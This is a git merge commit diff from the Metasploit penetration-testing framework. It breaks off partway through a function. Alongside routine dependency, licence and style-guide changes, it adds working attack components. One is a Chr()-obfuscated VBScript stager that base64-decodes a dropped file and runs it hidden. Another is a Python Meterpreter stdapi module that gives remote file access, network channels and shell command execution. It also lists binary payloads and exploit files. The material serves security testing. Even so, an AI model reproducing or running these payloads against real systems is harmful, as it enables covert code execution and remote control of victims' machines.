Merge branch 'rapid7' into cleanup/remove-id-tags

Conflicts:
	lib/msf/core/payload/osx/bundleinject.rb
	lib/msf/core/payload/windows/dllinject.rb
	lib/msf/core/payload/windows/exec.rb
	lib/msf/core/payload/windows/loadlibrary.rb
	lib/msf/core/payload/windows/reflectivedllinject.rb
	lib/msf/core/payload/windows/x64/reflectivedllinject.rb
	scripts/meterpreter/netenum.rb
bug/bundler_fix
James Lee 2013-09-17 10:55:02 -05:00
commit c77d49a640
6591 changed files with 505513 additions and 921663 deletions

9
.gitignore vendored
View File

@ -1,10 +1,9 @@
.bundle
# Rubymine project directory
.idea
# Portable ruby version files for rvm
.ruby-gemset
.ruby-version
# RVM control file
# Sublime Text project directory (not created by ST by default)
.sublime-project
# RVM control file, keep this to avoid backdooring Metasploit
.rvmrc
# YARD cache directory
.yardoc
@ -40,3 +39,5 @@ tags
*.orig
*.rej
*~
# Ignore backups of retabbed files
*.notab

View File

@ -27,6 +27,8 @@ wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>

1
.ruby-gemset Normal file
View File

@ -0,0 +1 @@
metasploit-framework

1
.ruby-version Normal file
View File

@ -0,0 +1 @@
ruby-1.9.3-p448

View File

@ -36,3 +36,9 @@ Pull requests tend to be very collaborative for Metasploit -- do not be
surprised if your pull request to rapid7/metasploit-framework triggers a
pull request back to your own fork. In this way, we can isolate working
changes before landing your PR to the Metasploit master branch.
To save yourself the embarrassment of committing common errors, you will
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
from the top-level directory of your metasploit-framework clone. This
will prevent you from committing modules that raise WARNINGS or ERRORS.

View File

@ -11,7 +11,7 @@ are permitted provided that the following conditions are met:
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7 LLC nor the names of its contributors
* Neither the name of Rapid7, Inc. nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
@ -30,7 +30,7 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The Metasploit Framework is provided under the 3-clause BSD license above.
The copyright on this package is held by Rapid7 LLC.
The copyright on this package is held by Rapid7, Inc.
This license does not apply to several components within the Metasploit
Framework source tree. For more details see the LICENSE file.

10
Gemfile
View File

@ -10,17 +10,20 @@ gem 'msgpack'
gem 'nokogiri'
# Needed by anemone crawler
gem 'robots'
# Needed by db.rb and Msf::Exploit::Capture
gem 'packetfu', '1.1.9'
group :db do
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.14.3'
gem 'metasploit_data_models', '~> 0.16.6'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end
group :pcap do
gem 'network_interface', '~> 0.0.1'
# For sniffer and raw socket modules
gem 'pcaprub'
end
@ -38,7 +41,7 @@ group :development, :test do
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks
gem 'rake'
gem 'rake', '>= 10.0.0'
end
group :test do
@ -48,11 +51,10 @@ group :test do
gem 'database_cleaner'
# testing framework
gem 'rspec', '>= 2.12'
# add matchers from shoulda, such as query_the_database, which is useful for
# testing that the Msf::DBManager activation is respected.
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'

View File

@ -1,60 +1,58 @@
GEM
remote: http://rubygems.org/
specs:
activemodel (3.2.13)
activesupport (= 3.2.13)
activemodel (3.2.14)
activesupport (= 3.2.14)
builder (~> 3.0.0)
activerecord (3.2.13)
activemodel (= 3.2.13)
activesupport (= 3.2.13)
activerecord (3.2.14)
activemodel (= 3.2.14)
activesupport (= 3.2.14)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activesupport (3.2.13)
i18n (= 0.6.1)
activesupport (3.2.14)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.2)
bourne (1.4.0)
mocha (~> 0.13.2)
builder (3.0.4)
database_cleaner (0.9.1)
diff-lcs (1.2.2)
database_cleaner (1.1.1)
diff-lcs (1.2.4)
factory_girl (4.2.0)
activesupport (>= 3.0.0)
i18n (0.6.1)
json (1.7.7)
metaclass (0.0.1)
metasploit_data_models (0.14.3)
i18n (0.6.5)
json (1.8.0)
metasploit_data_models (0.16.6)
activerecord (>= 3.2.13)
activesupport
pg
mocha (0.13.3)
metaclass (~> 0.0.1)
msgpack (0.5.4)
mini_portile (0.5.1)
msgpack (0.5.5)
multi_json (1.0.4)
nokogiri (1.5.9)
network_interface (0.0.1)
nokogiri (1.6.0)
mini_portile (~> 0.5.0)
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.15.1)
rake (10.0.4)
redcarpet (2.2.2)
pg (0.16.0)
rake (10.1.0)
redcarpet (3.0.0)
robots (0.10.1)
rspec (2.13.0)
rspec-core (~> 2.13.0)
rspec-expectations (~> 2.13.0)
rspec-mocks (~> 2.13.0)
rspec-core (2.13.1)
rspec-expectations (2.13.0)
rspec (2.14.1)
rspec-core (~> 2.14.0)
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
rspec-core (2.14.5)
rspec-expectations (2.14.2)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.13.0)
shoulda-matchers (1.5.2)
rspec-mocks (2.14.3)
shoulda-matchers (2.3.0)
activesupport (>= 3.0.0)
bourne (~> 1.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
timecop (0.6.1)
timecop (0.6.3)
tzinfo (0.3.37)
yard (0.8.5.2)
yard (0.8.7)
PLATFORMS
ruby
@ -65,12 +63,14 @@ DEPENDENCIES
database_cleaner
factory_girl (>= 4.1.0)
json
metasploit_data_models (~> 0.14.3)
metasploit_data_models (~> 0.16.6)
msgpack
network_interface (~> 0.0.1)
nokogiri
packetfu (= 1.1.9)
pcaprub
pg (>= 0.11)
rake
rake (>= 10.0.0)
redcarpet
robots
rspec (>= 2.12)

11
HACKING
View File

@ -9,8 +9,8 @@ Code Style
In order to maintain consistency and readability, we ask that you
adhere to the following style guidelines:
- Hard tabs, not spaces
- Try to keep your lines under 100 columns (assuming four-space tabs)
- Standard Ruby two-space soft tabs, not hard tabs.
- Try to keep your lines under 100 columns (assuming two-space tabs)
- do; end instead of {} for a block
- Always use str[0,1] instead of str[0]
(This avoids a known ruby 1.8/1.9 incompatibility.)
@ -37,9 +37,10 @@ need user input, you can either register an option or expose an
interactive session type specific for the type of exploit.
3. Don't use "sleep". It has been known to cause issues with
multi-threaded programs on various platforms. Instead, we use
"select(nil, nil, nil, <time>)" throughout the framework. We have
found this works around the underlying issue.
multi-threaded programs on various platforms running an older version of
Ruby such as 1.8. Instead, we use "select(nil, nil, nil, <time>)" or
Rex.sleep() throughout the framework. We have found this works around
the underlying issue.
4. Always use Rex sockets, not ruby sockets. This includes
third-party libraries such as Net::Http. There are several very good

View File

@ -47,7 +47,7 @@ pull request. For slightly more info, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
[unleashed]: http://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"

Binary file not shown.

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/android/metstage.jar Normal file

Binary file not shown.

BIN
data/android/shell.jar Normal file

Binary file not shown.

BIN
data/exploits/CVE-2013-2171.bin Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,49 @@
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
echo Set fs = CreateObject(scriptingFS) >>decode_stub
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
echo data = Replace(data, vbCrLf, nil) >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo emptyString >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1 @@
com.sun.script.javascript.RhinoScriptEngine

View File

@ -0,0 +1,2 @@
FakeDriver
FakeDriver2

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/meterpreter/elevator.x86.dll Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,865 @@
import ctypes
import fnmatch
import getpass
import os
import platform
import shlex
import shutil
import socket
import struct
import subprocess
import sys
has_windll = hasattr(ctypes, 'windll')
try:
import pty
has_pty = True
except ImportError:
has_pty = False
try:
import pwd
has_pwd = True
except ImportError:
has_pwd = False
try:
import termios
has_termios = True
except ImportError:
has_termios = False
try:
import _winreg as winreg
has_winreg = True
except ImportError:
has_winreg = False
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [("dwSize", ctypes.c_uint32),
("cntUsage", ctypes.c_uint32),
("th32ProcessID", ctypes.c_uint32),
("th32DefaultHeapID", ctypes.c_void_p),
("th32ModuleID", ctypes.c_uint32),
("cntThreads", ctypes.c_uint32),
("th32ParentProcessID", ctypes.c_uint32),
("thPriClassBase", ctypes.c_int32),
("dwFlags", ctypes.c_uint32),
("szExeFile", (ctypes.c_char * 260))]
class SYSTEM_INFO(ctypes.Structure):
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
("wReserved", ctypes.c_uint16),
("dwPageSize", ctypes.c_uint32),
("lpMinimumApplicationAddress", ctypes.c_void_p),
("lpMaximumApplicationAddress", ctypes.c_void_p),
("dwActiveProcessorMask", ctypes.c_uint32),
("dwNumberOfProcessors", ctypes.c_uint32),
("dwProcessorType", ctypes.c_uint32),
("dwAllocationGranularity", ctypes.c_uint32),
("wProcessorLevel", ctypes.c_uint16),
("wProcessorRevision", ctypes.c_uint16),]
class SID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [("Sid", ctypes.c_void_p),
("Attributes", ctypes.c_uint32),]
##
# STDAPI
##
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
##
# General
##
TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
##
# Fs
##
TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
##
# Net
##
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
# Socket
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
# Registry
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
# Config
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
# Process
TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
##
# Ui
##
TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
##
# Event Log
##
TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
##
# Power
##
TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
##
# Sys
##
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
PROCESS_ARCH_UNKNOWN = 0
PROCESS_ARCH_X86 = 1
PROCESS_ARCH_X64 = 2
PROCESS_ARCH_IA64 = 3
##
# Errors
##
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
# Special return value to match up with Windows error codes for network
# errors.
ERROR_CONNECTION_ERROR = 10000
def get_stat_buffer(path):
si = os.stat(path)
rdev = 0
if hasattr(si, 'st_rdev'):
rdev = si.st_rdev
blksize = 0
if hasattr(si, 'st_blksize'):
blksize = si.st_blksize
blocks = 0
if hasattr(si, 'st_blocks'):
blocks = si.st_blocks
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
def windll_GetNativeSystemInfo():
if not has_windll:
return None
sysinfo = SYSTEM_INFO()
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
@meterpreter.register_function
def channel_create_stdapi_fs_file(request, response):
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
if fmode:
fmode = fmode['value']
fmode = fmode.replace('bb', 'b')
else:
fmode = 'rb'
file_h = open(fpath, fmode)
channel_id = meterpreter.add_channel(file_h)
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def channel_create_stdapi_net_tcp_client(request, response):
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)
retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
connected = False
for i in range(retries + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3.0)
if local_host.get('value') and local_port.get('value'):
sock.bind((local_host['value'], local_port['value']))
try:
sock.connect((host, port))
connected = True
break
except:
pass
if not connected:
return ERROR_CONNECTION_ERROR, response
channel_id = meterpreter.add_channel(sock)
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_getuid(request, response):
response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_sysinfo(request, response):
uname_info = platform.uname()
response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3])
arch = uname_info[4]
if has_windll:
arch = windll_GetNativeSystemInfo()
if arch == PROCESS_ARCH_IA64:
arch = 'IA64'
elif arch == PROCESS_ARCH_X64:
arch = 'x86_64'
elif arch == PROCESS_ARCH_X86:
arch = 'x86'
else:
arch = uname_info[4]
response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_process_close(request, response):
proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE)
if not proc_h_id:
return ERROR_SUCCESS, response
proc_h_id = proc_h_id['value']
proc_h = meterpreter.channels[proc_h_id]
proc_h.kill()
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_process_execute(request, response):
cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
if raw_args:
raw_args = raw_args['value']
else:
raw_args = ""
flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
if len(cmd) == 0:
return ERROR_FAILURE, response
if os.path.isfile('/bin/sh'):
args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
else:
args = [cmd]
args.extend(shlex.split(raw_args))
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
if has_pty:
master, slave = pty.openpty()
if has_termios:
settings = termios.tcgetattr(master)
settings[3] = settings[3] & ~termios.ECHO
termios.tcsetattr(master, termios.TCSADRAIN, settings)
proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
proc_h.stdin = os.fdopen(master, 'wb')
proc_h.stdout = os.fdopen(master, 'rb')
proc_h.stderr = open(os.devnull, 'rb')
else:
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
proc_h.start()
else:
